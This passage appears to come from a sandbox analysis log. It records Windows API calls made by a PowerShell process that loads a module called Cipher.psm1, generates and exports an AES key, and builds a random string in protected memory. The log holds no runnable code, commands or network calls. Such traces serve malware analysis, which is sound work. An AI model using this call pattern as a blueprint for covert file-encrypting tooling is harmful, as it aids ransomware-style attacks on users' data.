ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.554] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="\x1200\x6a0\x1264\x6a0\x121c\x6a0\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xce08\x686\x92e4\x68d\x4024\x679\xd700\x686\x9400\x68d\x2eb7\x73ad\xec48\x99a\xdc98\x664\x1082\x73b6\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\xdc98\x664\x04") returned 0x0 [0128.555] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0128.555] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.555] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.555] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.556] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0128.556] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0128.556] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.556] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.556] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.557] CryptAcquireContextW (in: phProv=0x99ae3e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae3e0*=0x4396b48) returned 1 [0128.557] CryptGenKey (in: hProv=0x4396b48, Algid=0x6610, dwFlags=0x1, phKey=0x99ae80c | out: phKey=0x99ae80c*=0x8e84a78) returned 1 [0128.557] CryptContextAddRef (hProv=0x4396b48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.557] CryptExportKey (in: hKey=0x8e84a78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae7f8 | out: pbData=0x0*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0128.557] CryptExportKey (in: hKey=0x8e84a78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a8295c, pdwDataLen=0x99ae7f8 | out: pbData=0x6a8295c*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0128.557] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae35c, nSize=0x100 | out: lpBuffer="\xcbd5\x3518\x9b9\xa482\x4901\x5553\x8dcf\xb3a7\x8f5b\xf9ab\x9444\xab6\xa756\x7637\xc9fa\xeb0f\x62a1\xf3bf\xb41\x9ef6\x3366\x4737\x45f8\x99bf\x536\x84c7\xb8d6\xa484\x8556\x16fc\x272a\x899a\xf3ec\x12ef\xe4f4\x99a\x86d0\x42c\xe4f8\x99a\x87a8\x42c\xe3f8\x99a\x65bc\x7477\xe418\x99a\x08") returned 0x0 [0128.557] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae734*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae734*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.558] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae694*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae694*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.558] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.558] SysStringLen (param_1="") returned 0x8 [0128.558] SysStringLen (param_1="2") returned 0x8 [0128.558] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.558] SysStringLen (param_1="\x77d7\xae28\x63f1\xebae\xefcd\x10d\xd5a7\x33ce") returned 0x8 [0128.558] SysStringLen (param_1="\x77d7\xae28\x63f1\xebae\xefcd\x10d\xd5a7\x33ce") returned 0x8 [0128.558] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.558] SysStringLen (param_1="2N") returned 0x8 [0128.558] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.558] SysStringLen (param_1="\x106f\xeac7\x2e57\xe147\x2eab\x3a5d\xad75\xc5e3") returned 0x8 [0128.558] SysStringLen (param_1="\x106f\xeac7\x2e57\xe147\x2eab\x3a5d\xad75\xc5e3") returned 0x8 [0128.558] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.559] SysStringLen (param_1="2NZ") returned 0x8 [0128.559] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.559] SysStringLen (param_1="\x1d3f\x4efd\xf37\x6801\x364b\xfae1\x5e3e\x4088") returned 0x8 [0128.559] SysStringLen (param_1="\x1d3f\x4efd\xf37\x6801\x364b\xfae1\x5e3e\x4088") returned 0x8 [0128.559] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.559] SysStringLen (param_1="2NZU") returned 0x8 [0128.559] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.559] SysStringLen (param_1="\x899c\x270e\xd35b\x70ca\x56d7\xfd04\xe2a9\x10c9") returned 0x8 [0128.559] SysStringLen (param_1="\x899c\x270e\xd35b\x70ca\x56d7\xfd04\xe2a9\x10c9") returned 0x8 [0128.559] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.559] SysStringLen (param_1="2NZUU") returned 0x8 [0128.559] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.559] SysStringLen (param_1="\x224b\x14b3\xe89f\xae7c\xcdb3\xad7\xd545\x30f0") returned 0x8 [0128.559] SysStringLen (param_1="\x224b\x14b3\xe89f\xae7c\xcdb3\xad7\xd545\x30f0") returned 0x8 [0128.559] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.559] SysStringLen (param_1="2NZUUU") returned 0x8 [0128.559] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.559] SysStringLen (param_1="\xf5d\xcb45\x4458\xe6ae\xf0f4\xd536\x3c60\xae55") returned 0x8 [0128.559] SysStringLen (param_1="\xf5d\xcb45\x4458\xe6ae\xf0f4\xd536\x3c60\xae55") returned 0x8 [0128.560] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.560] SysStringLen (param_1="2NZUUU1") returned 0x8 [0128.560] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.560] SysStringLen (param_1="\xdbe8\x4a0\x97f5\xc4e6\xec8\x541e\x98d6\x6dbc") returned 0x8 [0128.560] SysStringLen (param_1="\xdbe8\x4a0\x97f5\xc4e6\xec8\x541e\x98d6\x6dbc") returned 0x8 [0128.560] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.560] SysStringLen (param_1="2NZUUU1S") returned 0x8 [0128.560] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.560] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b") returned 0x8 [0128.560] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b") returned 0x8 [0128.560] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b") returned 0x8 [0128.560] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b") returned 0x10 [0128.560] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.560] SysStringLen (param_1="2NZUUU1Shቘ낱ﵗꉛ믈슸") returned 0x10 [0128.560] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.560] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x5449\x89d1\x665d\xb892\xfdd\xf798\x2021\x8255") returned 0x10 [0128.560] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x5449\x89d1\x665d\xb892\xfdd\xf798\x2021\x8255") returned 0x10 [0128.560] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.561] SysStringLen (param_1="2NZUUU1ShK낱ﵗꉛ믈슸") returned 0x10 [0128.561] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.561] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\xd798\x36c6\x883e\xa90d\x3598\xf971\x8808\xb0ce") returned 0x10 [0128.561] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\xd798\x36c6\x883e\xa90d\x3598\xf971\x8808\xb0ce") returned 0x10 [0128.561] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.561] SysStringLen (param_1="2NZUUU1ShKUﵗꉛ믈슸") returned 0x10 [0128.561] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.561] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\xec0a\x8bf5\xea61\x1513\xa694\xd843\x71bc\x1814") returned 0x10 [0128.561] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\xec0a\x8bf5\xea61\x1513\xa694\xd843\x71bc\x1814") returned 0x10 [0128.561] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.561] SysStringLen (param_1="2NZUUU1ShKUdﵗꉛ믈슸") returned 0x10 [0128.561] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.561] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x5ac8\x8a1d\x8ebd\x190e\x84a8\xa1ad\xe557\x4f81") returned 0x10 [0128.561] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x5ac8\x8a1d\x8ebd\x190e\x84a8\xa1ad\xe557\x4f81") returned 0x10 [0128.561] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.561] SysStringLen (param_1="2NZUUU1ShKUdOꉛ믈슸") returned 0x10 [0128.561] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.562] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x66e5\x1887\xe514\x2f58\x9124\x7e9c\x2145\xe24f") returned 0x10 [0128.562] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x66e5\x1887\xe514\x2f58\x9124\x7e9c\x2145\xe24f") returned 0x10 [0128.562] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.562] SysStringLen (param_1="2NZUUU1ShKUdOF믈슸") returned 0x10 [0128.562] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.562] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x2fa8\x493b\xcd94\x7657\x529d\xf523\x19ec\xf38d") returned 0x10 [0128.562] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x2fa8\x493b\xcd94\x7657\x529d\xf523\x19ec\xf38d") returned 0x10 [0128.562] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.562] SysStringLen (param_1="2NZUUU1ShKUdOFg슸") returned 0x10 [0128.562] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.562] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\xa45f\x499b\x44ca\xbfb2\xb4e7\xcad6\xde31\x6bf3") returned 0x10 [0128.562] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\xa45f\x499b\x44ca\xbfb2\xb4e7\xcad6\xde31\x6bf3") returned 0x10 [0128.562] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.562] SysStringLen (param_1="2NZUUU1ShKUdOFg0") returned 0x10 [0128.562] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.562] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0") returned 0x10 [0128.562] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0") returned 0x10 [0128.562] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0") returned 0x10 [0128.562] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0") returned 0x18 [0128.563] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.563] SysStringLen (param_1="2NZUUU1ShKUdOFg0R覲걔ණ㎦䆂倓") returned 0x18 [0128.563] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.563] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\xec29\xb947\x4bac\xc9e9\xff23\x99e2\xff53\x2735") returned 0x18 [0128.563] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\xec29\xb947\x4bac\xc9e9\xff23\x99e2\xff53\x2735") returned 0x18 [0128.563] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.563] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rg걔ණ㎦䆂倓") returned 0x18 [0128.563] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.563] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x7dbb\xa34f\xa37b\xef32\xc004\x8acc\x353\xa1fb") returned 0x18 [0128.563] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x7dbb\xa34f\xa37b\xef32\xc004\x8acc\x353\xa1fb") returned 0x18 [0128.563] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.563] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgcණ㎦䆂倓") returned 0x18 [0128.563] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.563] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\xd104\xf8fb\xaef4\x9bc2\x9894\x93bf\x52c4\x1a21") returned 0x18 [0128.563] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\xd104\xf8fb\xaef4\x9bc2\x9894\x93bf\x52c4\x1a21") returned 0x18 [0128.563] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.563] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0㎦䆂倓") returned 0x18 [0128.563] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.563] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\xdda8\x46f4\x71f9\x5cc5\x9143\x6a1\xc7e2\xa8b1") returned 0x18 [0128.563] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\xdda8\x46f4\x71f9\x5cc5\x9143\x6a1\xc7e2\xa8b1") returned 0x18 [0128.563] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.564] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0m䆂倓") returned 0x18 [0128.564] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.564] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x5420\x25fa\x1e21\x53d3\xcc41\x8123\xf182\x3caa") returned 0x18 [0128.564] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x5420\x25fa\x1e21\x53d3\xcc41\x8123\xf182\x3caa") returned 0x18 [0128.564] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.564] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mU䆂倓") returned 0x18 [0128.564] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.564] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x5d4d\x50fa\x2f7a\xd1b9\x7f59\xdf08\x369d\x61e6") returned 0x18 [0128.564] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x5d4d\x50fa\x2f7a\xd1b9\x7f59\xdf08\x369d\x61e6") returned 0x18 [0128.564] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.564] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUv倓") returned 0x18 [0128.564] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.564] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9c34\x7da9\x502e\x7343\xc28f\xf6f5\xc66d\x4002") returned 0x18 [0128.564] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9c34\x7da9\x502e\x7343\xc28f\xf6f5\xc66d\x4002") returned 0x18 [0128.564] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.564] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUvs") returned 0x18 [0128.564] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.564] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621") returned 0x18 [0128.564] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621") returned 0x18 [0128.564] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621") returned 0x18 [0128.565] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621") returned 0x20 [0128.565] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.565] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUvsh⤴្％盲") returned 0x20 [0128.565] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.565] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21d5\xba33\xa91f\x2481\xda11\x8bd1\xaf34\xdfc3") returned 0x20 [0128.565] SysStringLen (param_1="\x884c\x1272\xc3f9\xe1ca\x3997\xb6ce\xfe33\xf26b\x6733\x8998\xdf1c\xcad\xf766\xfae7\x479\x60c0\x9b88\xd83d\x5a7c\x16d4\x2bad\xf19c\xbafe\x4621\x21d5\xba33\xa91f\x2481\xda11\x8bd1\xaf34\xdfc3") returned 0x20 [0128.565] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.565] SysStringLen (param_1="2NZUUU1ShKUdOFg0Rgc0mUvshc⤴្％盲") returned 0x20 [0128.565] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.565] SysStringLen 